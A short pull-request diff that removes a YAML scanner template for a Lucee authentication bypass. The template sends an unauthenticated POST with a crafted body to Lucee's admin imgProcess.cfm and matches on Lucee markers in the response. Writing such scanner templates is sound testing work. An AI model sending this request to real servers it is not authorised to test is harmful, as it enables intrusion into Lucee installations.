Will be working on CVE as separate template.

vulnerabilities/other/lucee-auth-bypass.yaml

@@ -1,31 +0,0 @@
-id: lucee-auth-bypass
-
-info:
-  name: Lucee Auth Bypass
-  author: dhiyaneshDK
-  severity: high
-  tags: lucee,auth-bypass
-  reference: https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md
-requests:
-  - method: POST
-    path:
-      - '{{BaseURL}}/lucee/admin/imgProcess.cfm?file=filename.cfm'
-
-    headers:
-      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
-      Content-Type: application/x-www-form-urlencoded
-
-    body: 'imgSrc="#stText.Buttons.save#"'
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "-lucee-icon"
-          - "Lucee"
-        condition: and
-
-      - type: status
-        status:
-          - 200